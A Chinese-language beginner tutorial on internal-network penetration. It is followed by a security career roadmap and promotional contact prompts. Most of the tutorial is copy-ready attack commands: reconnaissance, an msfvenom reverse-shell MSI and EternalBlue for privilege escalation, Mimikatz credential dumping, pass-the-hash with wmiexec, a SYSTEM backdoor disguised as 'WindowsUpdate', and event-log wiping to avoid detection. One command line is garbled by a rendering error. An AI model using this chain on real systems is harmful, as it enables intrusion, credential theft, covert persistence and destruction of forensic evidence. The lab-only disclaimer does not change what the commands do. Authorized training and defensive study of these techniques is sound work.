前言：内网渗透是Web安全、网络安全领域的核心技能，也是企业安全防护的重点痛点。不同于外网渗透的“单点突破”，内网渗透更注重“思路+实操+隐蔽性”，核心是从已拿下的跳板机出发，逐步渗透整个内网，最终控制核心资产（如域控制器、敏感服务器）。本文摒弃冗余理论，全程干货，聚焦新手能直接套用的实战流程、命令和工具，适合零基础入门，也可作为老手的实操参考，看完就能在靶场动手练习。
一、内网渗透核心前提（必看，避免走弯路）
内网渗透的核心前提的是“拥有初始入口”——即已获取内网某一台机器的低权限Shell（如webshell、Meterpreter Shell），这一步通常通过外网渗透、钓鱼攻击、弱口令爆破等方式实现。本文基于“已获取Windows跳板机低权限Shell”的场景，讲解后续完整渗透流程，所有操作均需在授权靶场进行，严禁用于未授权环境（触犯法律后果自负）。
新手必备环境：Kali Linux（攻击机）、Windows虚拟机（跳板机+靶机）、常用工具（Mimikatz、Impacket、WinPEAS等，文末附工具获取方式）。
二、内网渗透实战流程（干货核心，一步不落）
内网渗透的标准闭环流程：信息收集 → 权限提升 → 横向移动 → 权限维持 → 痕迹清理，每一步都有明确的目标和实操技巧，下面逐一步讲解，附带具体命令，新手可直接复制使用。
（一）信息收集：渗透的“第一步，也是最关键一步”
信息收集的核心目标：摸清内网的“底细”，明确“能渗透什么、怎么渗透”，避免盲目操作。重点收集3类信息，全部用Windows自带命令或轻量工具实现，无需复杂配置。
1. 本机信息收集（确认自身权限和可操作范围）
核心命令（直接在Shell中执行）：
查看当前用户及权限：
whoami（核心命令，判断是否为普通用户/管理员，如“test\user”为普通用户）查看用户权限详情：
whoami /priv（判断是否有提权可能，如显示“SeSecurityPrivilege”则有提权潜力）查看系统版本和补丁：
systeminfo | findstr /i "系统版本 补丁"（补丁越少，提权漏洞越多，重点关注是否缺失MS17-010、CVE-2021-1675等经典漏洞补丁）查看运行进程（排查安全软件）：
tasklist | findstr /i "360 火绒 卡巴斯基"（若有安全软件，需先规避或关闭）
2. 网络信息收集（摸清内网网段和存活主机）
核心命令：
查看本机IP、网关、DNS：
ipconfig /all（确认内网网段，如“192.168.10.0/24”，网关“192.168.10.1”）批量探测内网存活主机：
for /l %i in (1,1,254) do ping -n 1 192.168.10.%i | findstr "TTL"（替换网段为自身内网，快速筛选存活主机）查看内网路由和连接：
route print（判断是否有多个子网，扩大渗透范围）查看开放端口：
netstat -ano（查看本机开放端口，以及连接的远程主机，寻找可利用的端口）
3. 域信息收集（若存在域环境，重点关注）
企业内网90%为域环境，拿下域控制器就等于控制整个内网，核心命令：
判断是否存在域：
net config workstation（筛选“工作站域”，有显示域名称则为域环境，如“test.com”）查看域控制器（DC）：
nltest /DCLIST:test.com（替换域名称，获取DC的IP和名称，核心渗透目标）查看域管理员：
net localgroup administrators /domain（筛选域管理员账号，如“test\admin”）
工具推荐：WinPEAS（一键扫描所有信息，生成详细报告，新手无需手动输入命令，直接上传执行即可）。
（二）权限提升：从“低权限”到“系统权限”的突破
拿到低权限Shell后，无法进行横向移动、抓取凭据等操作，必须提升到管理员（Admin）或系统（System）权限。新手优先尝试“配置错误提权”（成功率高、操作简单），再尝试“系统漏洞提权”，以下是2种最常用、成功率最高的提权方式。
1. 配置错误提权（新手首选：AlwaysInstallElevated）
原理：管理员配置不当，开启“AlwaysInstallElevated”策略，普通用户可通过安装MSI包，以System权限执行命令。
实操步骤（Meterpreter Shell中）：
检测是否开启该配置：
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated（返回“0x1”则可提权）攻击机生成MSI提权包：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=8888 -f msi -o priv.msi上传MSI包到跳板机：
upload /root/priv.msi执行提权：
msiexec /quiet /qn /i priv.msi等待反弹Shell，执行
whoami，确认权限为“NT AUTHORITY\SYSTEM”（提权成功）。
2. 系统漏洞提权（经典：MS17-010）
适用场景：Windows 7、Windows Server 2008等未安装MS17-010补丁的机器，实操步骤（MSF框架）：
启动MSF：
msfconsole加载模块：
use exploit/windows/smb/ms17_010_eternalblue设置目标IP：
set RHOSTS 跳板机IP设置payload：
set PAYLOAD windows/meterpreter/reverse_tcp设置攻击机IP：
set LHOST 攻击机IP执行攻击：
exploit（成功后直接获取System权限）
（三）横向移动：从“单台机器”到“控制全网”
拿到System权限后，核心目标是“横向移动”——利用抓取到的凭据，渗透内网其他机器，最终找到域控制器。核心逻辑是“凭据复用”，以下是最常用、最隐蔽的2种横向移动方式。
1. 凭据抓取（横向移动的前提）
用Mimikatz抓取跳板机上的用户凭据（明文密码、NTLM哈希），步骤：
上传Mimikatz：
upload /root/mimikatz.exe执行Mimikatz：
mimikatz.exe提升权限：
privilege::debug抓取凭据：
sekurlsa::logonpasswords（记录下域管理员的NTLM哈希，如“32ed87bdb5fdc5e9cba88547376818d4”）
2. 哈希传递（PTH）横向移动（无明文密码也能渗透）
利用抓取到的NTLM哈希，通过SMB协议渗透其他内网机器，工具：Impacket的wmiexec.exe
命令：wmiexec.exe -hashes :NTLM哈希 域名称\用户名@目标机器IP "whoami"
示例：wmiexec.exe -hashes :32ed87bdb5fdc5e9cba88547376818d4 test\admin@192.168.10.100 "whoami"
若返回“test\admin”，说明已成功渗透目标机器（域控制器），横向移动成功。
（四）权限维持：长期控制，避免被清理
渗透成功后，需建立“持久化后门”，确保后续能持续访问目标内网，避免被管理员清理。推荐2种隐蔽性强、新手易操作的方式：
计划任务后门：
schtasks /create /tn "WindowsUpdate" /tr "C:\backdoor.exe" /sc onstart /ru system /f（创建开机自启计划任务，执行后门程序，隐蔽性强）启动项后门：将后门程序复制到
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp（开机自动执行，适合Windows 10/11系统）
（五）痕迹清理：避免被溯源，全身而退
渗透完成后，必须清理所有操作痕迹，否则极易被管理员发现，核心清理3类痕迹：
- 日志清理（Windows）：
清理系统日志：
wevtutil cl System清理安全日志：
wevtutil cl Security清理应用程序日志：
wevtutil cl Application
- 进程和连接清理：
结束Mimikatz、后门等进程：
taskkill /f /im mimikatz.exe删除IPCKaTeX parse error: Undefined control sequence: \ipc at position 19: …`net use \\目标IP\̲i̲p̲c̲/del`
- 文件清理：删除上传的工具、后门程序，避免留下痕迹。
三、新手必避的5个坑（干货预警）
直接操作未授权机器：内网渗透涉及权限获取、命令执行，极易触犯法律，新手务必使用虚拟机靶场（如Metasploitable、域环境靶场）练习。
忽视信息收集：上来就提权、横向移动，导致思路混乱，信息收集是渗透的第一步，也是最关键的一步。
过度依赖工具：只会点击工具按钮，不懂命令原理，遇到工具失效就无法继续，新手需先掌握基础命令，再学习工具使用。
不清理痕迹：即使是靶场练习，也要养成“痕迹清理”的习惯，避免后续在真实场景中遗漏。
跳过基础学习：直接学习黄金票据、无文件攻击等复杂技术，基础不扎实，后续学习会非常吃力，建议从流程、命令开始逐步进阶。
四、必备工具汇总（新手直接获取）
凭据抓取：Mimikatz（经典工具，支持抓取明文、哈希、票据）
信息收集：WinPEAS、LinPEAS（Windows/Linux通用，一键扫描）
横向移动：Impacket工具集（wmiexec、psexec，核心工具）
漏洞提权：MSF框架（自带各类提权模块，新手必备）
靶场推荐：Metasploitable 3、域环境靶场（VMware搭建，模拟真实内网）
总结
内网渗透的核心不是“工具越复杂越好”，而是“思路清晰、操作规范、隐蔽性强”。新手入门的关键是：先掌握“信息收集→提权→横向移动”的基础流程，熟记常用命令，在靶场反复练习，逐步掌握复杂技术。记住：内网渗透的本质是“寻找漏洞、复用凭据、隐蔽操作”，只要耐心练习，新手也能快速上手。
网络安全的知识多而杂，怎么科学合理安排？
下面给大家总结了一套适用于网安零基础的学习路线，应届生和转行人员都适用，学完保底6k！就算你底子差，如果能趁着网安良好的发展势头不断学习，日后跳槽大厂、拿到百万年薪也不是不可能！
初级网工
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）
2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）
4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k
到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？
【“脚本小子”成长进阶资源领取】
7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.
零基础入门，建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习； 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime； ·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完； ·用Python编写漏洞的exp,然后写一个简单的网络爬虫； ·PHP基本语法学习并书写一个简单的博客系统； 熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)； ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，贴一个大概的路线。感兴趣的童鞋可以研究一下，不懂得地方可以【点这里】加我耗油，跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话，可以【点这里】加我耗油发给你，大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程：
需要的话可以扫描下方卡片加我耗油发给你（都是无偿分享的），大家也可以一起学习交流一下。
结语
网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。
特别声明：
此教程为纯技术分享！本书的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失！！！
